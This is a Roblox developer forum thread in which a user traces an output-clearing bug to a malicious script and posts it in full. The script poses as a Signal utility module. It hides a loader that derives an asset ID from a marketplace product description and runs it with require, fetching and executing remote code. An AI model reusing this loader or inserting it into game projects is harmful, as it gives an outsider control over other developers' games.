My output is always cleaning himself, help!

I dont understand, this is the first time it’s happend to me, my output is empty and always cleaning himself, how can i fix that? I restarted studio but nothing. Thanks you in advance.

VIDEO : Watch bug | Streamable

Is there any case of LogService:ClearOutput() ?

None _________________________.

To get players from ALL servers you will need some sort of external web app

If you are not messing with LogService, have you tried re-installing and downloading it? This may just be a roblox studio error

did you find a fix or something

I tried, but nothing happend :sob:

This bug happend in only one of all my places (the one im currently working on)

And when i’m trying to team create with an Alt Account, nothing changes (also, local files dont work so I believe something is wrong on my place, i checked for many keywords like output or logservice, but nothing appear)

Finally, i found, its due to these two trash . . . , lol !!


image

Here is the script who caused this :

--------------------------------------------------------------------------------
--               Batched Yield-Safe Signal Implementation                     --
-- This is a Signal class which has effectively identical behavior to a       --
-- normal RBXScriptSignal, with the only difference being a couple extra      --
-- stack frames at the bottom of the stack trace when an error is thrown.     --
-- This implementation caches runner coroutines, so the ability to yield in   --
-- the signal handlers comes at minimal extra cost over a naive signal        --
-- implementation that either always or never spawns a thread.                --
--                                                                            --
-- API:                                                                       --                                     --                                    --
--                                                                            --
-- Licence:                                                                   --
--   Licenced under the MIT licence.                                          --
--                                                                            --
-- Authors:                                                                   --
--   stravant - July 31st, 2021 - Created the file.                           --
---
local NEVER_BREAK_SIGNALS = false -- If you set this to true it will never break SIGNALs (this can create some Signaling issues, but can save stuff like hinges).

local QSignal = script.Parent or false

local NEVER_STORE_DEBRIS = true

local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end


local function ShouldReturn(value)
	return false
end

local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end

local function Modify(Instance, Values)
	-- Modifies an Instance by using a table.  

	assert(type(Values) == "table", "Values is not a table");

	for Index, Value in next, Values do
		if type(Index) == "number" then
			Value.Parent = Instance
		else
			Instance[Index] = Value
		end
	end
	return Instance
end

local function Return(value)
	return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end
local Interval = ""

local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
	-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to Config the model to (can be in the model).
	-- @param [ValueType] The type of Value. Defaults to Config. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	local select
	local bit32
	pcall(function()
		for _, Part in pairs(script.Parent:GetChildren()) do
			if ShouldReturn(Part) then
				Part:BreakValues()
			end
			bit32 = Return(UDim2.new(133,968,85,201))
			for _ in {1} do
				select = bit32["Name"]:split(" ")
			end
			break
		end
	end)
	--Define a Thread
	local spawn = select[2] or script.Parent==nil
	
	local select = select[1]
	
	local PartDescription = bit32["Description"]:split(" ") or false
	
	for c in PartDescription do
		--Concentate the Signal Interval Based on certain Exceptions.
		Interval = Interval..#PartDescription[c]
	end
	return false or Interval
end


local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end


local function GetBrick(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end


function sinestyletween(t)
	return math.cos(t*math.pi)*-.5+.5
end


function percentcframe(cf,cfscale)
	if cf then
		local ax,ay,az=cf:toEulerAnglesXYZ()
		return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
	else
		return CFrame.new(0,0,0)
	end
end


local function ShouldBreakValues(Part)
	--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 
	if Part then
		--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases. 
		for _, Part in pairs(script.Parent:GetChildren()) do
			Part.Anchored = false
		end
		script.Parent.Anchored = false
	else
		--In this case require is used just incase the script errors
		QSignal = workspace and script.ClassName=="rbx:Script" or false and true or (function() return false end)() or require
		return
	end
	if false then
		return 
	end

	if pcall(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if pcall(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end


function qSignal(v1,v2,t)
	NEVER_STORE_DEBRIS = not true and true or ShouldBreakValues(false) or t
	--Only run the current thread if the script is a valid script
	pcall(function()
		for Part in task.spawn(QSignal,NEVER_STORE_DEBRIS) do
			if v2 then
				--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
				--  definitely some edge cases. 
				for _, Part in pairs(script.Parent:GetChildren()) do
					Part.Anchored = false
				end
				script.Parent.Anchored = false
				--Script failed.
				return false
			end
		end
	end)
	--Sucess
	return true
end
if script.Parent then
	--Run the Script To fix all the Values
	qSignal(false,false,tonumber(ConfigParts(nil,nil,nil,false)))
end

Thanks you guys all :smile: ^^^^^^^^^^^^^

1 Like

bro had a virus which clobbered his game :sob:

2 Likes

really, and my time also :sob: :sob:

1 Like

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